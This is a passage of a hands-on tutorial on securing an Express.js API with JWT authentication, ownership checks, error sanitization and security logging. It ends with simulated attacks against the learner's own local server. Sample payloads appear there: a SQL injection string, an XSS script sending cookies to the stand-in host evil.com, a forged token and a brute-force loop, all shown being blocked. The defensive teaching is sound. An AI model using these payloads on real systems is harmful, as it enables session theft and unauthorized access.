Make sure you are running the command from your secure-vault-api project folder (where package.json lives). The zod package must be in your node_modules directory for the import to resolve.
If you see a syntax error, check that the entire command is pasted as one block. Multi-line node -e commands must be wrapped in one set of quotes with no extra line breaks outside the string.
help me debug why my node inline import command is failing.
Your validation boundary is locked down. Every request to your API will be parsed against strict schemas before touching any application logic. Next, you will wire these routes into the server and build the authentication and access control layers that sit behind validation.
Add Authentication and Access Control
Your API now rejects malformed input at the boundary. But validation alone doesn't answer a critical question: who is making this request, and are they allowed to access this resource?
In this step, you'll build the authentication and access control layer. This targets OWASP A01 (Broken Access Control) and A07 (Authentication Failures) by verifying identity with JWT tokens and enforcing ownership on every resource access.
In this step, get ready to:
- Create a JWT authentication middleware that verifies tokens and identifies users.
- Build an ownership-enforcing middleware that prevents users from accessing each other's notes.
- Wire the auth and notes routes into the server and test cross-user access control.
Create the JWT authentication middleware
Every request to a protected endpoint needs to prove its identity. The authentication middleware reads a Bearer token from the Authorization header, verifies it against a secret key, and attaches the user's identity to the request object.
- Create a new file called authenticate.js inside the src/middleware folder.
- Add the following code to authenticate.js:
import jwt from 'jsonwebtoken';
const JWT_SECRET = 'replace-with-a-strong-secret-in-production';
export function authenticate(req, res, next) {
const authHeader = req.get('authorization');
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: 'Authentication required.' });
}
const token = authHeader.slice(7);
try {
const payload = jwt.verify(token, JWT_SECRET);
req.user = { id: payload.sub, email: payload.email };
next();
} catch (err) {
return res.status(401).json({ error: 'Invalid or expired token.' });
}
}
export { JWT_SECRET };
What does this code do?
This middleware guards every route it's applied to. It runs before your route handler and either lets the request through or blocks it.
- req.get('authorization') reads the Authorization header from the incoming request.
- authHeader.slice(7) strips the "Bearer " prefix (7 characters) to isolate the token string.
- jwt.verify() decodes the token and confirms it was signed with your secret. If someone tampered with the token, this throws an error.
- req.user attaches the decoded user identity so downstream route handlers know who made the request.
- The exported JWT_SECRET constant is shared with the auth routes so they can sign tokens with the same key.
- Save src/middleware/authenticate.js.
Why use a hardcoded secret here?
In production, you would store JWT_SECRET in an environment variable. For this project, a placeholder string keeps the focus on the security patterns rather than secrets management.
How does bcrypt protect passwords?
The auth routes you created in the previous step use bcrypt with a cost factor of 12. This means bcrypt runs 2^12 (4096) rounds of hashing, producing about 2-3 hashes per second on modern hardware.
That deliberate slowness makes brute-force attacks impractical. An attacker trying millions of password guesses would need years to crack even one hash. The maximum password length of 72 bytes is a bcrypt internal limit.
Seeing a module not found error?
If you try to start the server right now, it will fail because other files still need authorizeOwner.js which doesn't exist yet. You'll create it next.
help me debug a module not found error in my Express middleware setup
✔️ Awesome, I've got everything!
Great. Make sure you've saved the file before moving on.
ⓧ I'd like to double check the full code
import jwt from 'jsonwebtoken';
const JWT_SECRET = 'replace-with-a-strong-secret-in-production';
export function authenticate(req, res, next) {
const authHeader = req.get('authorization');
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: 'Authentication required.' });
}
const token = authHeader.slice(7);
try {
const payload = jwt.verify(token, JWT_SECRET);
req.user = { id: payload.sub, email: payload.email };
next();
} catch (err) {
return res.status(401).json({ error: 'Invalid or expired token.' });
}
}
export { JWT_SECRET };
Create the ownership authorization middleware
Authentication proves who you are. Authorization decides what you're allowed to access. A common vulnerability called IDOR (Insecure Direct Object Reference) lets an attacker guess resource IDs and access other users' data.
- Create a new file called authorizeOwner.js inside the src/middleware folder.
- Add the following code to authorizeOwner.js:
import { findNoteById } from '../utils/store.js';
export function authorizeOwner(req, res, next) {
const noteId = req.params.id;
const note = findNoteById(noteId);
// Return 404 for both "not found" and "not yours" to prevent information leakage
if (!note || note.userId !== req.user.id) {
return res.status(404).json({ error: 'Resource not found.' });
}
req.note = note;
next();
}
Why return 404 instead of 403?
A 403 (Forbidden) response tells the attacker "this resource exists, but you can't access it." That confirms the ID is valid, which is information leakage.
By returning 404 for both "doesn't exist" and "not yours," an attacker gains zero information. They can't distinguish between a valid ID owned by someone else and a completely invalid ID.
- Save src/middleware/authorizeOwner.js.
Not sure where req.user comes from?
The authorizeOwner middleware relies on req.user.id which gets set by the authenticate middleware. In the notes routes, authenticate always runs first (via notesRoutes.use(authenticate)), so req.user is guaranteed to exist by the time authorizeOwner runs.
help me understand how Express middleware ordering works
✔️ Awesome, I've got everything!
Great. Make sure you've saved the file before moving on.
ⓧ I'd like to double check the full code
import { findNoteById } from '../utils/store.js';
export function authorizeOwner(req, res, next) {
const noteId = req.params.id;
const note = findNoteById(noteId);
// Return 404 for both "not found" and "not yours" to prevent information leakage
if (!note || note.userId !== req.user.id) {
return res.status(404).json({ error: 'Resource not found.' });
}
req.note = note;
next();
}
Wire the routes into the server and test access control
The route files and middleware are ready. Now you need to tell the server to use them by mounting the auth and notes routers on their respective paths.
- In src/server.js, find the existing import for logger:
import { logger } from './utils/logger.js';
- Add these two imports directly below it:
import { authRoutes } from './routes/auth.js';
import { notesRoutes } from './routes/notes.js';
- Now find the app.use(globalLimiter); line. Add the route mounting below it:
// Routes
app.use('/auth', authRoutes);
app.use('/notes', notesRoutes);
What does this code do?
- app.use('/auth', authRoutes) mounts all auth route handlers under the /auth path. So /auth/register and /auth/login become reachable.
- app.use('/notes', notesRoutes) mounts the notes CRUD routes. Every request to /notes passes through the authenticate middleware first.
- Save src/server.js.
- Restart the server by running:
npm run dev
You should see the "Secure Vault API started" message in your terminal with no errors.
Now test the full authentication and access control flow. Register a user by running:
curl -X POST http://localhost:3000/auth/register -H "Content-Type: application/json" -d '{"email":"alice@test.com","password":"Str0ng!Pass123"}'
You should see a response of {"message":"Registration successful."}.
- Log in to get a token by running:
curl -X POST http://localhost:3000/auth/login -H "Content-Type: application/json" -d '{"email":"alice@test.com","password":"Str0ng!Pass123"}'
You should see a JSON response containing a token field and expiresIn: 3600.
- Try accessing the notes endpoint without a token to confirm authentication is enforced:
curl http://localhost:3000/notes
You should see {"error":"Authentication required."} with a 401 status. The access control layer is working.
How does user enumeration prevention work?
Look at the register route in auth.js. When a duplicate email is submitted, it returns the same "Registration successful" response as a new registration. An attacker cannot tell whether an email address already has an account.
The login route uses the same principle. Both "user not found" and "wrong password" return the identical error message: "Invalid email or password." This prevents attackers from discovering valid email addresses through trial and error.
Server won't start?
- Check that both authenticate.js and authorizeOwner.js exist in the src/middleware/ folder. The route files import from these paths.
- Make sure the import paths in server.js include the .js extension. Node.js ES modules require explicit file extensions.
- Confirm that package.json has "type": "module" set. Without it, ES module imports won't work.
help me debug why my Express server won't start
✔️ Awesome, I've got everything!
Great. Double check you've saved your file.
ⓧ I'd like to double check the full code
import express from 'express';
import helmet from 'helmet';
import cors from 'cors';
import { rateLimit } from 'express-rate-limit';
import { logger } from './utils/logger.js';
import { authRoutes } from './routes/auth.js';
import { notesRoutes } from './routes/notes.js';
const app = express();
const PORT = 3000;
// Layer 1: Security Headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
imgSrc: ["'self'"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: [],
},
},
hsts: {
maxAge: 63072000,
includeSubDomains: true,
preload: true,
},
}));
// Layer 2: CORS Hardening
app.use(cors({
origin: ['http://localhost:3000'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
maxAge: 600,
}));
// Layer 3: Body Size Limiting
app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
// Layer 4: Global Rate Limiting
const globalLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 100,
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests. Please try again later.' },
});
app.use(globalLimiter);
// Routes
app.use('/auth', authRoutes);
app.use('/notes', notesRoutes);
app.get('/health', (req, res) => {
res.json({ status: 'ok', timestamp: new Date().toISOString() });
});
app.listen(PORT, () => {
logger.info({ port: PORT }, 'Secure Vault API started');
});
Your API now verifies identity, hashes passwords securely, and enforces ownership on every resource. Next up, you'll build the error sanitization and security logging layer that gives defenders visibility into attack attempts without leaking information to attackers.
Build Error Sanitization and Security Logging
Your API now validates input, enforces authentication, and limits request rates. But what happens when something goes wrong inside your code? Without careful handling, error responses can leak stack traces, file paths, and internal variable names directly to an attacker.
In this step, you will build two complementary layers. A global error handler ensures your API never reveals internal details to the outside world. A structured security logger records every suspicious event so defenders can see attack patterns as they happen.
In this step, get ready to:
- Build a global error handler that strips stack traces and returns generic responses.
- Implement structured security logging that captures failed auth, validation failures, and rate limit hits.
- Wire both middleware into your server and verify logs capture attack details while responses reveal nothing.
Build the global error handler
When an unhandled error occurs in Express, the default behavior is to send the full error message (and sometimes a stack trace) back to the client. This is OWASP A10: Mishandling of Exceptional Conditions in action. Your error handler will log everything internally but show the attacker nothing useful.
- Create a new file at src/middleware/errorHandler.js and add the following code:
import { logger } from '../utils/logger.js';
export function errorHandler(err, req, res, next) {
logger.error({
event: 'unhandled_error',
error: err.message,
stack: err.stack,
method: req.method,
path: req.path,
ip: req.ip,
}, 'Unhandled error caught by global handler');
// Never leak internal details to the client
res.status(err.statusCode || 500).json({
error: err.expose ? err.message : 'An unexpected error occurred.',
});
}
What does this code do?
This is Express's 4-argument error-handling middleware signature. Express routes any uncaught error to this function automatically.
- logger.error() records the full error details (message, stack trace, request info) to your log file for defenders.
- err.expose ? err.message : 'An unexpected error occurred.' only shows a real message to the client when your code explicitly marks an error as safe to expose. Everything else gets a generic response.
- err.statusCode || 500 defaults to a 500 status if the error does not specify one. This prevents accidental 200 responses on errors.
- Save src/middleware/errorHandler.js.
Why generic error messages matter
Stack traces reveal file paths, dependency versions, and internal logic. An attacker can use this information to craft targeted exploits. Your handler gives attackers zero signal while your log file captures everything you need to debug.
Build the security event logger
The error handler catches crashes. The security logger catches attacks. It watches every response and records structured log entries whenever a request triggers a security-relevant status code (401, 403, 429, or 400).
- Create a new file at src/middleware/securityLogger.js and add the following code:
import { logger } from '../utils/logger.js';
export function securityLogger(req, res, next) {
const startTime = Date.now();
res.on('finish', () => {
const duration = Date.now() - startTime;
const logEntry = {
method: req.method,
path: req.path,
statusCode: res.statusCode,
ip: req.ip,
userAgent: req.get('user-agent'),
duration,
};
if (res.statusCode === 401 || res.statusCode === 403) {
logger.warn({ ...logEntry, event: 'access_denied' }, 'Access denied');
} else if (res.statusCode === 429) {
logger.warn({ ...logEntry, event: 'rate_limited' }, 'Rate limit exceeded');
} else if (res.statusCode === 400) {
logger.warn({ ...logEntry, event: 'validation_failure' }, 'Input validation failed');
}
});
next();
}
What does this code do?
- res.on('finish', ...) hooks into the response lifecycle. It fires after the response has been sent, so it never slows down the request itself.
- The logEntry object captures the method, path, status code, IP address, user agent, and request duration. These fields let you correlate attacks across requests.
- Each status code maps to a named event type (access_denied, rate_limited, validation_failure). Named events make it easy to search and filter logs.
- Save src/middleware/securityLogger.js.
Why structured JSON logs?
Plain text logs like "user failed login" are impossible to query at scale. Structured JSON logs let you filter by IP, event type, or time window. In production, these feed into tools like Elasticsearch or Datadog for real-time alerting.
Wire the middleware into your server and test
Middleware order matters in Express. The security logger must run before your routes (so it can observe every response). The error handler must run after your routes (so it catches any unhandled error that bubbles up).
- Switch back to src/server.js and replace the entire file with this updated code:
import express from 'express';
import helmet from 'helmet';
import cors from 'cors';
import { rateLimit } from 'express-rate-limit';
import { securityLogger } from './middleware/securityLogger.js';
import { errorHandler } from './middleware/errorHandler.js';
import { authRoutes } from './routes/auth.js';
import { notesRoutes } from './routes/notes.js';
import { logger } from './utils/logger.js';
const app = express();
const PORT = 3000;
// Layer 1: Security Headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
imgSrc: ["'self'"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: [],
},
},
hsts: {
maxAge: 63072000,
includeSubDomains: true,
preload: true,
},
}));
// Layer 2: CORS Hardening
app.use(cors({
origin: ['http://localhost:3000'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
maxAge: 600,
}));
// Layer 3: Body Size Limiting
app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
// Layer 4: Global Rate Limiting
const globalLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 100,
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests. Please try again later.' },
});
app.use(globalLimiter);
// Layer 5: Security Event Logger
app.use(securityLogger);
// Routes
app.use('/auth', authRoutes);
app.use('/notes', notesRoutes);
// Health check
app.get('/health', (req, res) => {
res.json({ status: 'ok', timestamp: new Date().toISOString() });
});
// Layer 6: Error Sanitization
app.use(errorHandler);
app.listen(PORT, () => {
logger.info({ port: PORT }, 'Secure Vault API started');
});
What changed here?
- Two new imports at the top: securityLogger and errorHandler.
- app.use(securityLogger) is placed as Layer 5, right before the routes. This ensures it observes every response from auth, notes, and the health check.
- app.use(errorHandler) is placed as Layer 6, after all routes. Express only sends errors to 4-argument middleware, and it must be registered last to catch everything.
- Save src/server.js.
- Restart your server by running:
npm run dev
- Test the security logger by sending a request without authentication:
curl http://localhost:3000/notes
You should receive a 401 response with the message Authentication required. and nothing else. No stack trace, no file paths, no internal details.
- Check your security log by running:
cat security.log
You should see a JSON log entry with "event":"access_denied" containing the method, path, status code, IP, and user agent. The log captured everything the attacker did while the response revealed nothing.
Not seeing the log file?
- Make sure you restarted the server after saving all three files. The node --watch flag should auto-restart, but if you see import errors, stop and rerun npm run dev.
- Check that security.log is at your project root (the same level as package.json). The Pino logger config uses ./security.log which is relative to where you ran the command.
- If you see a MODULE_NOT_FOUND error, double check that your file is saved at exactly src/middleware/securityLogger.js (not src/middlewares/ with an extra 's').
Help me debug why my security logger isn't writing to the log file.
✔️ Awesome, I've got everything!
Great. Double check you have saved all three files before moving on.
ⓧ I'd like to double check the full code
Here is the complete src/middleware/errorHandler.js:
import { logger } from '../utils/logger.js';
export function errorHandler(err, req, res, next) {
logger.error({
event: 'unhandled_error',
error: err.message,
stack: err.stack,
method: req.method,
path: req.path,
ip: req.ip,
}, 'Unhandled error caught by global handler');
// Never leak internal details to the client
res.status(err.statusCode || 500).json({
error: err.expose ? err.message : 'An unexpected error occurred.',
});
}
Here is the complete src/middleware/securityLogger.js:
import { logger } from '../utils/logger.js';
export function securityLogger(req, res, next) {
const startTime = Date.now();
res.on('finish', () => {
const duration = Date.now() - startTime;
const logEntry = {
method: req.method,
path: req.path,
statusCode: res.statusCode,
ip: req.ip,
userAgent: req.get('user-agent'),
duration,
};
if (res.statusCode === 401 || res.statusCode === 403) {
logger.warn({ ...logEntry, event: 'access_denied' }, 'Access denied');
} else if (res.statusCode === 429) {
logger.warn({ ...logEntry, event: 'rate_limited' }, 'Rate limit exceeded');
} else if (res.statusCode === 400) {
logger.warn({ ...logEntry, event: 'validation_failure' }, 'Input validation failed');
}
});
next();
}
Here is the complete src/server.js:
import express from 'express';
import helmet from 'helmet';
import cors from 'cors';
import { rateLimit } from 'express-rate-limit';
import { securityLogger } from './middleware/securityLogger.js';
import { errorHandler } from './middleware/errorHandler.js';
import { authRoutes } from './routes/auth.js';
import { notesRoutes } from './routes/notes.js';
import { logger } from './utils/logger.js';
const app = express();
const PORT = 3000;
// Layer 1: Security Headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
imgSrc: ["'self'"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: [],
},
},
hsts: {
maxAge: 63072000,
includeSubDomains: true,
preload: true,
},
}));
// Layer 2: CORS Hardening
app.use(cors({
origin: ['http://localhost:3000'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
maxAge: 600,
}));
// Layer 3: Body Size Limiting
app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
// Layer 4: Global Rate Limiting
const globalLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 100,
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests. Please try again later.' },
});
app.use(globalLimiter);
// Layer 5: Security Event Logger
app.use(securityLogger);
// Routes
app.use('/auth', authRoutes);
app.use('/notes', notesRoutes);
// Health check
app.get('/health', (req, res) => {
res.json({ status: 'ok', timestamp: new Date().toISOString() });
});
// Layer 6: Error Sanitization
app.use(errorHandler);
app.listen(PORT, () => {
logger.info({ port: PORT }, 'Secure Vault API started');
});
Your API now has full observability for defenders and total opacity for attackers. Next up, you will put all six layers to the test by running a series of simulated attacks.
Run the Attack Simulation Suite
Your API now has 6 defensive middleware layers in place. But how do you know they actually stop real attacks?
In this step, you will simulate real-world attack patterns against your own API. You will run SQL injection, XSS, brute-force, IDOR, and token forgery attacks, then verify each one is caught by the correct middleware layer.
In this step, get ready to:
- Run a sequence of simulated attacks against your hardened API.
- Document which middleware layer stops each attack.
- Review the security logs to confirm every attack was detected and logged.
Set up test data and run injection attacks
Before launching attacks, you need legitimate user accounts and data in the system. This gives you tokens to work with and notes to target.
- Make sure your server is running. Switch back to your terminal and start it by running:
npm run dev
- Register your first test user (User A) by running:
curl -s -X POST http://localhost:3000/auth/register \
-H "Content-Type: application/json" \
-d '{"email":"alice@test.com","password":"Str0ng!Pass1234"}'
You should see a JSON response with {"message":"Registration successful."}.
- Login as User A and save the token from the response by running:
curl -s -X POST http://localhost:3000/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"alice@test.com","password":"Str0ng!Pass1234"}'
You should see a JSON response containing a token field. Copy the entire token value (a long string of characters) and save it somewhere. You will need it for the next commands.
- Create a note as User A by running the following command. Replace your-token-here with the token you just copied:
curl -s -X POST http://localhost:3000/notes \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your-token-here" \
-d '{"title":"Secret Plans","body":"This note belongs to Alice."}'
You should see a JSON response with a note object containing an id field. Copy and save this note ID for the IDOR test later.
- Register a second user (User B) by running:
curl -s -X POST http://localhost:3000/auth/register \
-H "Content-Type: application/json" \
-d '{"email":"bob@test.com","password":"An0ther!Secure9"}'
- Login as User B and save this token separately by running:
curl -s -X POST http://localhost:3000/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"bob@test.com","password":"An0ther!Secure9"}'
Copy and save User B's token. You now have two valid tokens and one note owned by User A.
Why two users?
You need two separate accounts to test IDOR (Insecure Direct Object Reference) attacks. The attack involves one user trying to access another user's data by guessing or manipulating resource IDs.
Now it is time to attack. Your first simulated attack is a SQL injection attempt targeting the registration endpoint.
- Simulate a SQL injection attack by attempting to register with a malicious email by running:
curl -s -X POST http://localhost:3000/auth/register \
-H "Content-Type: application/json" \
-d '{"email":"\' OR 1=1 --","password":"doesntmatter"}'
You should see a 400 response with a validation error. The Zod schema rejected the malicious string because it is not a valid email format.
What just happened?
The string ' OR 1=1 -- is a classic SQL injection payload. In a vulnerable app, this could bypass authentication or dump entire databases.
Your Zod validation schema requires the email field to pass .email() validation. The injection string fails this check instantly, so it never reaches your application logic.
- Simulate an XSS attack by attempting to create a note with a malicious payload. Replace your-token-here with User A's token and run:
curl -s -X POST http://localhost:3000/notes \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your-token-here" \
-d '{"title":"","body":"<script>document.location=\"http://evil.com/steal?\"+document.cookie</script>"}'
You should see a 400 response with a validation error on the title field. The Zod schema rejected the request because the title field fails the .min(1) constraint.
How does Zod stop XSS?
Zod enforces the structural shape of incoming data. Attackers often craft payloads that try to abuse multiple fields simultaneously. Here, the XSS payload in the body never even gets processed because the request fails validation at the boundary.
This is defense-in-depth in action. Even if the XSS string is technically a valid string, the overall request must satisfy ALL schema constraints to reach your route handler.
Run IDOR, token forgery, and brute-force attacks
The next attacks target your access control and authentication layers. These are the attacks that lead to data breaches when defenses are missing.
- Simulate an IDOR attack. Use User B's token to try accessing User A's note. Replace your-token-b-here with User B's token and note-id-here with User A's note ID, then run:
curl -s -X GET http://localhost:3000/notes/note-id-here \
-H "Authorization: Bearer your-token-b-here"
You should see a 404 response with {"error":"Resource not found."}. User B's request was authenticated, but the authorizeOwner middleware blocked access because the note belongs to User A.
Why 404 instead of 403?
Returning 404 instead of 403 is deliberate. A 403 (Forbidden) confirms that the resource exists but the user lacks permission. This gives an attacker valuable information.
A 404 (Not Found) reveals nothing. The attacker cannot tell if the note ID is wrong or if the note belongs to someone else.
- Simulate a missing token attack by trying to access notes with no Authorization header:
curl -s -X GET http://localhost:3000/notes
You should see a 401 response with {"error":"Authentication required."}. The authenticate middleware blocked the request immediately.
- Simulate a forged token attack by sending a fake JWT:
curl -s -X GET http://localhost:3000/notes \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJmYWtlIn0.invalid"
You should see a 401 response with {"error":"Invalid or expired token."}. The authenticate middleware verified the JWT signature and rejected the forged token.
Now for the brute-force test. The auth rate limiter allows 5 requests per 15-minute window. You have already used 5 auth requests (2 registrations, 2 logins, and 1 SQL injection attempt). To demonstrate brute-force protection with a clean window, you need to restart the server.
- Stop your server by pressing Ctrl+C in the terminal where it is running.
- Restart the server by running:
npm run dev
Why restart?
The express-rate-limit package stores counters in memory by default. Restarting the server resets all rate limit windows, giving you a clean 5-request budget to demonstrate the brute-force lockout.
- Open a second terminal tab or window. Simulate a brute-force login attack by sending 6 rapid login attempts with wrong credentials:
for i in 1 2 3 4 5 6; do
echo "Attempt $i:"
curl -s -X POST http://localhost:3000/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"victim@test.com","password":"WrongPassword1!"}'
echo ""
echo "---"
done
You should see attempts 1 through 5 return a 401 response with {"error":"Invalid email or password."}. Attempt 6 returns a 429 response with {"error":"Too many authentication attempts. Please try again later."}.
What does this prove?
The authLimiter middleware stops brute-force attacks by locking out any IP that exceeds 5 requests to auth endpoints within 15 minutes. An attacker cannot keep guessing passwords indefinitely.
All 6 attempts returning 401?
Make sure you restarted the server before running the brute-force loop. If the rate limit counters carried over from the setup phase, the limiter may not trigger at the expected threshold.
Also confirm the loop runs against /auth/login specifically, since the authLimiter is scoped to auth routes only.
help me debug why my brute-force test is not triggering the rate limiter
Review the security logs
Every attack you just ran was silently recorded by the securityLogger middleware. The log file is your evidence that the defenses are working.
- View the contents of your security log by running:
cat security.log
You should see multiple JSON log entries. Each entry includes structured fields like event, ip, path, and statusCode.
What should I see in the logs?
Look for these event types in your log entries:
- validation_failure entries (status 400) from the SQL injection and XSS attempts.
- access_denied entries (status 401) from the missing token, forged token, and failed login attempts.
- rate_limited entries (status 429) from the brute-force lockout.
- To see only the security events (filtering out successful requests), run:
cat security.log | grep -E '(validation_failure|access_denied|rate_limited)'
Each line shows the attacker's IP, the path they targeted, the HTTP method, and the exact time the attack occurred. This is the structured visibility that defenders need to detect and respond to attacks.
How do the attacks map to middleware layers?
- SQL injection → blocked by validate middleware (Zod schema rejects invalid email format).
- XSS payload → blocked by validate middleware (Zod schema rejects request missing required fields).
- Brute-force login → blocked by authLimiter rate limiting middleware after 5 attempts.
- IDOR attempt → blocked by authorizeOwner middleware (returns 404 to prevent information leakage).
- Missing/forged tokens → blocked by authenticate middleware (JWT verification fails).
Every attack was caught by a different middleware layer, and the securityLogger recorded all of them. This is defense-in-depth in action.
Security log is empty or missing entries?
Make sure the security.log file is in your project's root directory (the secure-vault-api folder). Pino creates this file automatically when the server starts.
If the file exists but has no warn-level entries, confirm your server was running when you sent the attack requests. The securityLogger only logs events for responses with status codes 400, 401, 403, or 429.
help me figure out why my security.log is not capturing attack events
Secret mission
Add Real-Time Intrusion Detection
Your API can block individual attacks, but what about a persistent attacker sending a mix of different attack types? Build an intrusion detection layer that watches for patterns and auto-blocks IPs that trigger too many security events within a sliding time window.
Clean Up Your Resources
Clean Up Your Resources
Decide whether to keep your resources running, pause them to come back later, or delete them entirely. This project runs entirely locally, so there are no ongoing costs.
Resources you used:
- The secure-vault-api project folder on your Desktop.
- The node_modules directory containing installed npm packages.
- The security.log file generated by Pino during testing.
- The running Node.js dev server process.
Keep everything running
No action needed. Choose this if you're still actively building or want to keep experimenting with the attack simulations.
- Your server keeps running at http://localhost:3000.
- Your security.log file continues to grow as you send more requests.
- Node.js remains installed on your machine for future projects.
Pause - I'll come back to this later
Shut down the running server to free up the port. Your project files stay on disk so you can pick up where you left off.
- Switch to the terminal where your server is running.
- Press Ctrl+C to stop the server.
- When you're ready to resume, navigate back to the secure-vault-api folder and run npm run dev to start the server again.
Delete - I don't want to use this again
Remove all project resources and start fresh. This permanently deletes your code and security logs.
- Switch to the terminal where your server is running and press Ctrl+C to stop it.
- Navigate to your Desktop by running:
cd ~/Desktop
- Delete the entire project folder by running:
macOS
rm -rf secure-vault-api
Windows
rmdir /s /q secure-vault-api
- Confirm deletion by running ls and verifying secure-vault-api no longer appears.
Nice Work!
Nice Work!
Nice work! You just built a production-grade API security layer from scratch using Express.js and a layered defensive middleware stack.
You've learned how to:
- Built a 6-layer defensive middleware stack mapped to the OWASP Top 10 2025, including security headers, rate limiting, input validation, access control, error sanitization, and structured logging.
- Implemented JWT authentication with bcrypt password hashing and ownership-based access control that prevents IDOR attacks without leaking information.
- Ran real attack simulations including SQL injection, XSS, brute-force, and IDOR attempts, then proved each middleware layer stopped the attack while structured security logs captured every detail.
- Added real-time intrusion detection with automatic IP blocking after detecting repeated attack patterns within a sliding window.
Ready to quiz yourself?